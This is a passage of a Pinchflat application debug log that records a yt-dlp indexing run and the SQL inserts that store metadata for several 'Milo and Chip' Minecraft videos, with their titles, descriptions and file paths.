check again in 1000ms 19:42:14.932 [debug] Current batch of media processed. Will check again in 1000ms 19:42:15.933 [debug] Current batch of media processed. Will check again in 1000ms 19:42:16.934 [debug] Current batch of media processed. Will check again in 1000ms 19:42:17.243 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@miloandchip --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/Milo and Chip/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/fa/52/fa52de4a00115abfd870e63b1de9a58c3ffa3abbd75f2bdb0423249abfaa169b.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7c/24/7c246f8c3e48baf7ab57a9dd44a669d38f3d266d93a1ce1d8811f4ea04359b2e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 19:42:17.243 [debug] Gracefully stopping file follower 19:42:17.244 [debug] QUERY OK source="sources" db=0.2ms idle=1544.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:42:17.244 [debug] QUERY OK source="sources" db=0.1ms idle=1544.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.245 [debug] QUERY OK source="media_items" db=1.0ms idle=1545.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-03 23:00:29Z], 30] 19:42:17.247 [debug] QUERY OK source="media_items" db=1.1ms idle=1498.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Milo Fell Into a DEEP Sleep in Minecraft! 😴💤 Will Chip and Rosie ever get him to rise - or will he be snoozing forever? Just like Cash , Mango and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "The DAY Milo Couldn't WAKE UP!", "6769eb35-0ba8-4f6e-94e7-bf6ec369a19f", "nlDDtZXqZPY", false, "https://www.youtube.com/watch?v=nlDDtZXqZPY", 30, [], 2042, false, 1, "/downloads/rory/Milo and Chip/2026-06-03 The DAY Milo Couldn't WAKE UP!/The DAY Milo Couldn't WAKE UP! [nlDDtZXqZPY].mp4", false, false, 98, ~U[2026-06-03 23:00:29Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "Milo Fell Into a DEEP Sleep in Minecraft! 😴💤 Will Chip and Rosie ever get him to rise - or will he be snoozing forever? Just like Cash , Mango and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "The DAY Milo Couldn't WAKE UP!", "nlDDtZXqZPY", "https://www.youtube.com/watch?v=nlDDtZXqZPY", 30, 2042, false, "/downloads/rory/Milo and Chip/2026-06-03 The DAY Milo Couldn't WAKE UP!/The DAY Milo Couldn't WAKE UP! [nlDDtZXqZPY].mp4", false, ~U[2026-06-03 23:00:29Z]] 19:42:17.247 [debug] QUERY OK source="sources" db=0.1ms idle=499.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.248 [debug] QUERY OK source="media_items" db=0.9ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 23:00:07Z], 30] 19:42:17.249 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "bd64c6df-8165-4628-bda7-158959460cbc", "HlTfxG007JI", false, "https://www.youtube.com/watch?v=HlTfxG007JI", 30, [], 1776, false, 2, "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family [HlTfxG007JI].mp4", false, false, 98, ~U[2026-06-01 23:00:07Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "HlTfxG007JI", "https://www.youtube.com/watch?v=HlTfxG007JI", 30, 1776, false, "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family [HlTfxG007JI].mp4", false, ~U[2026-06-01 23:00:07Z]] 19:42:17.250 [debug] QUERY OK source="sources" db=0.7ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.251 [debug] QUERY OK source="media_items" db=0.9ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 23:00:15Z], 30] 19:42:17.252 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", "dd68612d-e767-4afa-8257-116231460c4e", "ano3A1IT0wA", false, "https://www.youtube.com/watch?v=ano3A1IT0wA", 30, [], 2125, false, 3, "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", false, false, 98, ~U[2026-05-29 23:00:15Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", "ano3A1IT0wA", "https://www.youtube.com/watch?v=ano3A1IT0wA", 30, 2125, false, "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", false, ~U[2026-05-29 23:00:15Z]] 19:42:17.253 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.255 [debug] QUERY OK source="media_items" db=1.7ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-27 23:00:15Z], 30] 19:42:17.256 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "a4b7cdc8-1200-41ec-bc9b-7034bc991628", "aUkz6mYnXT8", false, "https://www.youtube.com/watch?v=aUkz6mYnXT8", 30, [], 1860, false, 4, "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", false, false, 98, ~U[2026-05-27 23:00:15Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "aUkz6mYnXT8", "https://www.youtube.com/watch?v=aUkz6mYnXT8", 30, 1860, false, "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", false, ~U[2026-05-27 23:00:15Z]] 19:42:17.256 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.257 [debug] QUERY OK source="media_items" db=0.9ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-25 23:00:11Z], 30] 19:42:17.258 [debug] QUERY OK source="media_items" db=0.6ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "4bade007-efbb-41fb-9374-f42aa5bf5185", "Hhfw4cTRCOw", false, "https://www.youtube.com/watch?v=Hhfw4cTRCOw", 30, [], 2099, false, 5, "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", false, false, 98, ~U[2026-05-25 23:00:11Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "Hhfw4cTRCOw", "https://www.youtube.com/watch?v=Hhfw4cTRCOw", 30, 2099, false, "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", false, ~U[2026-05-25 23:00:11Z]] 19:42:17.259 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.260 [debug] QUERY OK source="media_items" db=0.9ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 23:00:32Z], 30] 19:42:17.261 [debug] QUERY OK source="media_items" db=0.6ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "BIRTH to DEATH of YOU in Minecraft", "efc43c4c-bfd8-4ac9-b1bb-7ea7e24c41cd", "VRn3KpKOB-Q", false, "https://www.youtube.com/watch?v=VRn3KpKOB-Q", 30, [], 1631, false, 6, "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", false, false, 98, ~U[2026-05-22 23:00:32Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "BIRTH to DEATH of YOU in Minecraft", "VRn3KpKOB-Q", "https://www.youtube.com/watch?v=VRn3KpKOB-Q", 30, 1631, false, "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", false, ~U[2026-05-22 23:00:32Z]] 19:42:17.261 [debug] QUERY OK source="sources" db=0.3ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.262 [debug] QUERY OK source="media_items" db=1.0ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-20 23:01:04Z], 30] 19:42:17.263 [debug] QUERY OK source="media_items" db=0.6ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "5f94dfbb-dc0b-4ee8-93b5-6d2bccf6bfe0", "x3dral7OjIw", false, "https://www.youtube.com/watch?v=x3dral7OjIw", 30, [], 1391, false, 7, "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", false, false, 98, ~U[2026-05-20 23:01:04Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "x3dral7OjIw", "https://www.youtube.com/watch?v=x3dral7OjIw", 30, 1391, false, "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", false, ~U[2026-05-20 23:01:04Z]] 19:42:17.264 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.265 [debug] QUERY OK source="media_items" db=0.9ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-18 23:00:32Z], 30] 19:42:17.266 [debug] QUERY OK source="media_items" db=0.6ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? 